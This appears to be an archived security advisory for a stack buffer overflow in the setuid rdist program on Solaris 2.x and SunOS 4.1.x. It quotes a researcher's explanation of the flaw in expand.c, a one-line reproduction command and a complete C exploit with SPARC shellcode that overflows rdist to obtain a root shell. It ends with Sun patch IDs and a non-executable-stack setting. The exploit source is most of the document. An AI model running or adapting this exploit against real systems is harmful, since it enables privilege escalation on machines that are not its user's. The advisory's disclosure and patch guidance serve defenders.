COMMAND

    rdist

SYSTEMS AFFECTED

    Solaris 2.x, SunOS 4.1.3, 4.1.4

PROBLEM

    John McDonald posted following.  Enclosed is an exploit for a hole
    in Solaris rdist  This exploit  was tested on 2.6, 2.5.1, and  2.5
    machines.  You can see the hole if you look at the bsd source  for
    rdist, which is apparantly pretty  similiar to the code Sun  used.
    The vulnerability is in expand.c, which you can look at here:

        http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/rdist/expand.c?rev=1.5

    Part of the program's functionality  is to allow a user  to define
    variables  and  reference  them  in  a way similiar to environment
    variables.   The problem  comes in  when the  program attempts  to
    substitute the symbol representing  the variable with it's  value.
    You should be able to see this by doing:

	rdist -d bleh=AAAAA(lotsa lotsa A's) -c /tmp/ '${bleh}'

    In the function expstr(), we have:

	if (tp != NULL) {
	   for (; tp != NULL; tp = tp->n_next) {
	     (void) sprintf((char *)ebuf,
		  "%s%s%s", s, tp->n_name, tail);
	     expstr(ebuf);
	    }
	   return;
	}

    A little higher in the code, we see:

	u_char ebuf[BUFSIZ];

    This is obviously a bad thing. BTW, none of the bsds or linuxs are
    vulnerable to any rdist hole  to the best of my  knowledge because
    the binary isn't suid.  Exploit follows:

    /* rdist solaris 2.* sploit */
    /* by horizon. thanks to ktwo */
    /* argv[1] is your offset */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BUF_LENGTH 1024
    #define SAFETY 40 /* blind guess */
    #define EXTRA 400
    #define STACK_OFFSET 2360
    #define SAFETY_OFFSET 248
    #define SPARC_NOP 0xac15a16e

    u_char sparc_shellcode[] =
    "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
    "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
    "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
    "\x91\xd0\x20\x08";

    int addr_ok(long a)
    {
	    if (((a>>24)&255)==0) return 0;
	    if (((a>>16)&255)==0) return 0;
	    if (((a>>8)&255)==0) return 0;
	    if (((a)&255)==0) return 0;
	    return 1;
    }

    u_long get_safe_addr(long sp)
    {
       return sp-SAFETY_OFFSET;
    }

    u_long get_sp(void)
    {
       __asm__("mov %sp,%i0 \n");
    }

    int main(int argc, char *argv[])
    {
       char buf[BUF_LENGTH + EXTRA + 8];
       char tempbuf[BUF_LENGTH + EXTRA + 8+6];

       long stack,targ_addr,safe_addr;

       u_long *long_p;
       u_char *char_p;
       int i, code_length = strlen(sparc_shellcode),dso=0;

       if(argc > 1) dso=atoi(argv[1]);

       stack=get_sp();

       safe_addr=get_safe_addr(stack);
       while(addr_ok(safe_addr)==0) safe_addr+=8;

       targ_addr = stack + STACK_OFFSET - dso;
       while(addr_ok(targ_addr)==0) targ_addr+=8;

       long_p =(u_long *) buf ;
       for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
	  *long_p++ = SPARC_NOP;

       char_p = (u_char *) long_p;

       for (i = 0; i < code_length; i++)
	  *char_p++ = sparc_shellcode[i];

       *char_p++=' ';
       *char_p++=' ';

       for (i = 0; i < SAFETY /4; i++)
       {
	  *char_p++ =(safe_addr>>24)&255;
	  *char_p++ =(safe_addr>>16)&255;
	  *char_p++ =(safe_addr>>8)&255;
	  *char_p++ =(safe_addr)&255;
	}

       for (i = 0; i < (EXTRA-SAFETY) /4; i++)
       {
	  *char_p++ =(targ_addr>>24)&255;
	  *char_p++ =(targ_addr>>16)&255;
	  *char_p++ =(targ_addr>>8)&255;
	  *char_p++ =(targ_addr)&255;
       }

       *char_p++=0;

       sprintf(tempbuf,"bleh=%s",&buf[2]);

       printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
	  stack,safe_addr,stack-safe_addr);
       printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
	  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
       execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
       perror("execl failed");
    }

SOLUTION

    Sun recommends that you install the respective patches immediately
    on affected systems:

        Operating System    Patch ID
        ================    ========
        Solaris 2.6         105667-02
        Solaris 2.6_x86     105668-02
        Solaris 2.5.1       103817-03
        Solaris 2.5.1_x86   103818-03
        Solaris 2.5         103815-03
        Solaris 2.5_x86     103816-03
        Solaris 2.4         103813-03
        Solaris 2.4_x86     103814-03
        Solaris 2.3         101494-04
        SunOS 4.1.4         103824-04
        SunOS 4.1.3_U1      103823-04

    This  is  foiled  however  by  adding "set noexec_user_stack=1" to
    /etc/system.   For  those  unfamiliar  with  the feature, also try
    "set  noexec_user_stack_log  =1";  it  will  cause  messages to be
    logged in such cases.